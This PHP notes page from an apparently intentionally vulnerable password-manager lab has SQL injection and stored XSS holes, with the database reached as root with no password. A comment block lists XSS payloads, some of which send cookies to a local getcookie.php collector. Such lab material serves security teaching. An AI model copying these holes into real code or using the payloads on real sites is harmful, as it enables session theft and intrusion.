173 lines
5.2 KiB
PHP
173 lines
5.2 KiB
PHP
<!DOCTYPE html>
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<html lang="en">
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<head>
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<meta charset="UTF-8">
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<meta name="viewport" content="width=device-width, initial-scale=1.0">
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<title>Notes - Comments</title>
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<style>
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form {
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max-width: 500px;
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margin: 20px 0;
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padding: 20px;
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border: 1px solid #ccc;
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background-color: #f9f9f9;
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text-align: left;
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}
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label {
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font-size: 1.1em;
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margin-bottom: 10px;
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display: inline-block;
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}
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textarea {
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width: 100%;
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height: 150px;
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padding: 10px;
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font-size: 1em;
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border: 1px solid #ccc;
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resize: vertical;
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text-align: left;
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}
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button {
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padding: 10px 20px;
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font-size: 1em;
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background-color: #4CAF50;
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color: white;
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border: none;
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cursor: pointer;
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}
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button:hover {
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background-color: #45a049;
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}
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body {
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font-family: Arial, sans-serif;
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background-color: #f4f4f9;
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margin: 0;
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padding: 20px;
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}
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.note {
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width: 510px;
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background-color: #f9f9f9;
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border: 1px solid #ddd;
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padding: 15px;
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margin-bottom: 15px;
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border-radius: 5px;
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box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
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}
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.note-content {
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font-size: 1.2em;
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color: #333;
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}
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.note-signature {
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text-align: right;
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font-size: 0.9em;
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color: #666;
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margin-top: 10px;
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font-style: italic;
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}
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</style>
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</head>
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<?php
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// Resume existing session (or start a new one)
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session_start();
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// If not logged in redirect to login page
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if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true || $_SESSION['username'] == '') {
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header("Location: login.php");
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exit;
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}
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$username = $_SESSION['username'];
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// Connect to the database
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$conn=mysqli_connect("localhost","root","","pwd_mgr");
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// Check connection
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if (mysqli_connect_errno()) {
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echo "Failed to connect to MySQL: " . mysqli_connect_error();
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exit();
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}
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// Check if new note is entered and add it
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if(isset($_POST['new_note']) && trim($_POST['new_note']) !='') {
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$new_note = trim($_POST["new_note"]);
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/*
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XSS using alert(2)<script>alert(2);</script>
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XSS using string.fromCharCode with ASCII codes<script>alert(String.fromCharCode(88,83,83,32,117,115,105,110,103,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101));</script>
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XSS eval of Hex Unicode Escape Sequences<script>eval("\u0061\u006c\u0065\u0072\u0074(\u0022\u0058\u0053\u0053\u0020\u0075\u0073\u0069\u006e\u0067\u0020\u0065\u0076\u0061\u006c\u0022)");</script>
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XSS console cookie<script>console.log(document.cookie);alert(document.cookie);</script>
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XSS steal cookie with fetch
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<script>
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fetch(`http://localhost/passman/xss/getcookie.php?v=`+document.cookie)
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.then(response => response.text())
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.then(data => {
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console.log(data);
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})
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.catch(error => {
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console.error(`Error fetching data:`, error);
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});
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</script>
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XSS steal cookie with simpler fetch<script>fetch(`http://localhost/passman/xss/getcookie.php?v=`+document.cookie)</script>
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or<script>fetch(`http://localhost/passman/xss/getcookie.php?v=${document.cookie}`)</script>
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// HAS PROBLEM: XSS steal cookie with href redirection<script>window.location.href=`http://localhost/passman/xss/getcookie.php?v=`+document.cookie;</script>
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// HAS PROBLEM: XSS steal cookie with img on-error<img src=x onerror=this.src=`http://localhost/passman/xss/getcookie.php?v=`+document.cookie;>
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*/
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// Insert new note
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//$sql_query = "INSERT INTO notes (login_user_id,note) VALUES " .
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// "((SELECT id FROM login_users WHERE username='{$username}'),('{$new_note}'));";
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$sql_query = "INSERT INTO notes (login_user_id, note) ".
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"VALUES ((SELECT id FROM login_users WHERE username='{$username}'), '{$new_note}')";
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//echo $sql_query;
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$result = $conn->query($sql_query);
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$conn -> close();
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// After processing, redirect to the same page to clear the form
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unset($_POST['new_note']);
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header("Location: " . $_SERVER['PHP_SELF']);
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exit();
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}
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// Display list of all notes/comments
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$sql_query = "SELECT notes.note, login_users.username FROM notes INNER JOIN login_users ON notes.login_user_id=login_users.id;";
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//echo $sql_query;
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$result = $conn->query($sql_query);
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echo "<h3>List of notes/comments</h3>";
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if (!empty($result) && $result->num_rows >= 1) {
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while ($row = $result -> fetch_assoc()) {
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echo "<div class='note'>";
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echo "<div class='note-content'>" . $row["note"] . "</div>";
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echo "<div class='note-signature'> by " . $row["username"] . "</div>";
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echo "</div>";
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}
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// Free result set
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$result -> free_result();
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} else {
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echo "<p><font color=red>No entries found.</font></p>";
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}
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$conn -> close();
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?>
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<body>
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<p/>
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<form method="POST">
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<label for="note">Enter your note:</label><br>
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<textarea id="note" name="new_note" placeholder="Write your note here..." required></textarea><br><br>
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<button type="submit">Submit Note</button>
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</form>
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<a href="dashboard.php">Dashboard</a>
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<p/>
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<a href="logout.php">Logout</a>
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</body>
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</html>
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